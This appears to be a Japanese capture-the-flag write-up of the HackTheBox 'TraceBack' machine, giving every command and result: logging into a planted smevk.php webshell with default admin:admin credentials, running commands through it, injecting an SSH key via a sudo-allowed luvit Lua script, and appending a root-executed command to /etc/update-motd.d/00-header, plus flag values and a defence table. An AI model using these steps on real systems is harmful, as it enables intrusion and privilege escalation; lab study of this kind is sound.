HackTheBox: TraceBack — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)のみ
→
22(SSH)/80(HTTP)のみ
HTMLコメントのヒント
“best web shells”
→
“best web shells”
smevk.php webshell
デフォルト認証 admin:admin
→
デフォルト認証 admin:admin
webadmin RCE
→
sudo -l で luvit 発見
NOPASSWD as sysadmin
→
NOPASSWD as sysadmin
luvit(Lua)でSSH鍵注入
io.open書込
→
io.open書込
sysadmin SSH
user.txt ✓
→
user.txt ✓
update-motd.d 書込可
SSHログイン時にroot実行
→
SSHログイン時にroot実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バナー確認
BASH
ping -c 2 -W 3 10.129.88.108 curl -s -i http://10.129.88.108/
RESULT
Server: Apache/2.4.29 (Ubuntu) Last-Modified: Tue, 27 Aug 2019 11:29:44 GMT <title>Help us</title>
✅
ターゲット確認: タイトル”Help us”と2019年の
Last-Modifiedから
HackTheBox TraceBack (Easy Linux) と一致することを確認。
サイト本文の確認 — 改ざんページ
BASH
curl -s http://10.129.88.108/
RESULT
<h1>This site has been owned</h1> <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2> <h3> - Xh4H - </h3> <!--Some of the best web shells that you might need ;)-->
ℹ️
攻撃者(劇中の設定上の自称)が既にサイトを改ざんしており、HTMLコメントに
「一番良いwebシェル」というヒントを残している。これは
Xh4H/Web-Shells
リポジトリへの手掛かりで、同リポジトリに含まれる
smevk.php が
実際にこのサーバーへ設置されている。
PHASE 2
smevk.php webshell の発見とログイン
smevk.php の存在確認とデフォルト認証
BASH
curl -s -o /dev/null -w "smevk.php: %{http_code}\n" http://10.129.88.108/smevk.php
curl -s -c cookies.txt -d "uname=admin&pass=admin&login=Login" http://10.129.88.108/smevk.php
RESULT
smevk.php: 200 (ログイン後レスポンスに Console / FilesMAn / webadmin の文字列を確認)
✅
SmEvK_PaThAn Shell V3がデフォルト認証情報
admin:adminのまま設置されており、そのままログインできる。
PHASE 3
Console機能でのRCE → sudo権限の調査
Console (a=Console&p1=<cmd>) でコマンド実行
BASH
curl -s -b cookies.txt \ --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" --data-urlencode "p1=id" \ http://10.129.88.108/smevk.php \ | grep -oP "(?s)name=output[^>]*>\K.*?(?=)"
RESULT
$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
✅
webadminとしてRCE成立。コマンド結果は
<textarea name=output>内に出力される。
sudo -l で横移動経路を発見
BASH
curl -s -b cookies.txt \ --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" --data-urlencode "p1=sudo -l" \ http://10.129.88.108/smevk.php | grep -oP "(?s)name=output[^>]*>\K.*?(?=)"
RESULT
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
✅
webadminはパスワード無しでsysadminとして
/home/sysadmin/luvit(Lua/libuvベースの軽量ランタイム”luvit”)を
実行できる。任意のLuaスクリプトをsysadmin権限で実行できることを意味する。
PHASE 4
luvit(Lua)経由のSSH鍵注入 → user.txt
攻撃用SSH鍵の生成
BASH
ssh-keygen -t rsa -b 2048 -f tb_key -N "" -q
Luaスクリプトをbase64で転送 (クォート地獄の回避)
PYTHON風 (実際はbashヒアドキュメント)
# inject.lua の内容
os.execute('mkdir -p /home/sysadmin/.ssh')
local f = io.open('/home/sysadmin/.ssh/authorized_keys', 'w')
f:write('<自分の公開鍵>\n')
f:close()
os.execute('chmod 600 /home/sysadmin/.ssh/authorized_keys')
local u = io.open('/home/sysadmin/user.txt')
if u then print(u:read('*a')) end -- 詳細は4-3のハマりポイント参照
BASH
# Step1: lua ファイルをbase64経由でサーバーに書き込む B64=$(base64 -w0 inject.lua) curl -s -b cookies.txt --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" \ --data-urlencode "p1=echo $B64 | base64 -d > /tmp/kcr_tb.lua" \ http://10.129.88.108/smevk.php # Step2: sudo経由でsysadminとしてluvit実行 curl -s -b cookies.txt --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" \ --data-urlencode "p1=sudo -u sysadmin /home/sysadmin/luvit /tmp/kcr_tb.lua" \ http://10.129.88.108/smevk.php
⚠️
base64エンコードした長いLuaコードと
sudo ...を1リクエストでセミコロン
連結すると、なぜか後半のsudo部分の出力が一切返ってこない現象が発生した。
2つのリクエストに分割(①ファイル書込 → ②実行)することで安定して動作する。
ハマりポイント: luvitの io.write() はクラッシュする (SIGABRT)
BASH (再現)
# io.write() を使うバージョン → 終了コード134(SIGABRT)でクラッシュし出力無し
echo '...f:write(pubkey)...local u=io.open(...); io.write(u:read("*a"))...' \
| base64 -d > script.lua
sudo -u sysadmin /home/sysadmin/luvit script.lua 2>&1; echo RC=$?
RESULT
Aborted
RC=134
BASH (修正: print() に置き換え)
# 同じ処理内容だが最後の出力だけ print() に変更
...local u=io.open('/home/sysadmin/user.txt')
if u then print(u:read('*a')) end
RESULT
got: 72e2b0a830982d29f87afbc6e42ca918
RC=0
🚨
原因: luvit は libuv ベースの非同期(イベントループ)ランタイムであり、
標準Luaの
io.write()が使う同期的な標準出力書込経路と相性が悪く、
スクリプトの最後に呼び出すと内部で異常終了(SIGABRT)してしまう。単体の
io.open(path,'w')での書込やos.execute()自体は問題無く動作するため、
標準出力への出力だけprint()に置き換えることで安定して動作した。
user.txt — luvit(Lua)経由の直接読み取り
72e2b0a830982d29f87afbc6e42ca918
sysadmin へSSHログイン(鍵注入の最終確認)
BASH
ssh -i tb_key -o StrictHostKeyChecking=no sysadmin@10.129.88.108 \ "id; cat /home/sysadmin/user.txt"
RESULT
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
72e2b0a830982d29f87afbc6e42ca918
✅
注入した公開鍵で
sysadminとしてSSHログインできることを確認。
PHASE 5
update-motd.d の悪用 → root.txt
書込可能なmotdスクリプトの発見
BASH
ssh -i tb_key sysadmin@10.129.88.108 "ls -la /etc/update-motd.d/"
RESULT
-rwxrwxr-x 1 root sysadmin 981 00-header
-rwxrwxr-x 1 root sysadmin 982 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 80-esm
-rwxrwxr-x 1 root sysadmin 299 91-release-upgrade
🚨
/etc/update-motd.d/配下の全スクリプトがグループsysadminに
書込権限(rwx)を与えている。これらのスクリプトはSSHログイン時にrootとして
自動実行される(Ubuntuのmotd機構)。
00-header にフラグコピー処理を追記
BASH
ssh -i tb_key sysadmin@10.129.88.108 \ "echo 'cat /root/root.txt > /tmp/.rootflag 2>/dev/null; chmod 644 /tmp/.rootflag 2>/dev/null' \ >> /etc/update-motd.d/00-header"
ℹ️
cronジョブが
/var/backups/.update-motd.d/から約30秒ごとに
オリジナルへ復元してしまうため、注入後は即座に次のSSHログインを発生させる
必要がある。
新規SSHログインでroot実行をトリガー → root.txt取得
BASH
# motdはログインバナー表示の「前」に実行されるため、 # 同一セッション内でそのまま cat すれば読める ssh -i tb_key sysadmin@10.129.88.108 "cat /tmp/.rootflag"
RESULT
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
8a137fbe4db5c06ca1b0e3a451b6fb98
root.txt — update-motd.d 経由のroot実行で取得
8a137fbe4db5c06ca1b0e3a451b6fb98
✅
新しいSSH接続が確立するたびにmotdスクリプト群がroot権限で実行されるため、
別々にトリガー・読み取りする必要はなく、ログイン直後の同一セッションで
ただちに
/tmp/.rootflagを読み取れる。
後始末 (痕跡最小化)
BASH
ssh -i tb_key sysadmin@10.129.88.108 \ "cp /var/backups/.update-motd.d/00-header /etc/update-motd.d/00-header"
ℹ️
改変した
00-headerをバックアップから復元する(どのみちcronが30秒で
自動的に元に戻すため必須ではないが、速やかに原状復帰するのが望ましい)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — luvit(Lua) 経由
72e2b0a830982d29f87afbc6e42ca918
root.txt — update-motd.d 経由
8a137fbe4db5c06ca1b0e3a451b6fb98
使用した脆弱性・設定ミス
| 脆弱性/設定ミス | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Webシェルのデフォルト認証情報 | smevk.php (SmEvK_PaThAn Shell V3) | リモートコード実行 (webadmin) | Critical | admin:adminでログインし Console 機能からコマンド実行 |
| 過剰なsudo権限 (NOPASSWD) | webadmin → sysadmin 経由の luvit | 権限昇格 (sysadminへの横移動) | High | luvit(Luaランタイム)を使い任意のファイル操作・コマンド実行を行いSSH鍵を注入 |
| グループ書込可能なmotdスクリプト | /etc/update-motd.d/* | 権限昇格 (root) | Critical | SSHログイン時にroot権限で自動実行されるスクリプトへコマンドを追記 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + curl バナー確認 | 22/80のみ開放、改ざんページの発見 |
| 2 | Webシェル発見 | HTMLコメントのヒント追跡 | smevk.php (admin:admin) |
| 3 | RCE & 権限調査 | Console機能 + sudo -l | webadminシェル、luvit NOPASSWD発見 |
| 4 | 横移動 | luvit(Lua)でSSH鍵注入 | user.txt、sysadmin SSHアクセス |
| 5 | 権限昇格 | update-motd.d へのコマンド追記 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 侵入されたWebシェルがデフォルト認証情報のまま放置されている | そもそもWebシェルの設置を許さない(アップロード機能の厳格な検証、WAF導入)。 万一発見した場合は即座に削除し侵入経路を特定する。 |
| 一般ユーザーが他ユーザーとして任意のスクリプトランタイムをNOPASSWDで実行できる | sudoersのNOPASSWD設定は必要最小限のコマンド・引数に限定し、 汎用のインタプリタ/ランタイムを丸ごと許可しない。 |
| 特権で実行されるログインスクリプト群が非特権グループに書込可能 | root権限で実行されるファイルは root:root 所有かつ書込権限を他ユーザーに 与えない(644/755)。グループ書込が必要な場合は実行時の権限分離を見直す。 |

